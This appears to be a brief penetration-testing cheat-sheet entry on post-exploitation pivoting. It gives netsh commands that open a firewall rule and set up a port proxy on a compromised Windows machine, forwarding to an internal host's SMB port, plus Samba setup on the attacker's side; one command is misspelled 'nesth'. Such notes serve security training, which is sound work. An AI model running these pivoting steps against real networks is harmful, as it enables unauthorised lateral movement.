POST EXPLOITATION
Port forwarding
Configuring port forwarding with netsh windows native tool
nesth advfirewall firewall add rule name="forward_port_rule" protocol=TCP dir=in
localip=192.168.0.147 localport=4455 action=allow
Before Connecting to the forwarded port the compromised machine we need to
configure Smb on our attacking machine to allow SMB2
netsh interface portproxy add v4tov4 listenport=4455
listenaddress=192.168.0.147 connectport=445 connectaddress=10.10.1.13
nano /etc/samba/smb.conf
/etc/init.d/smbd restart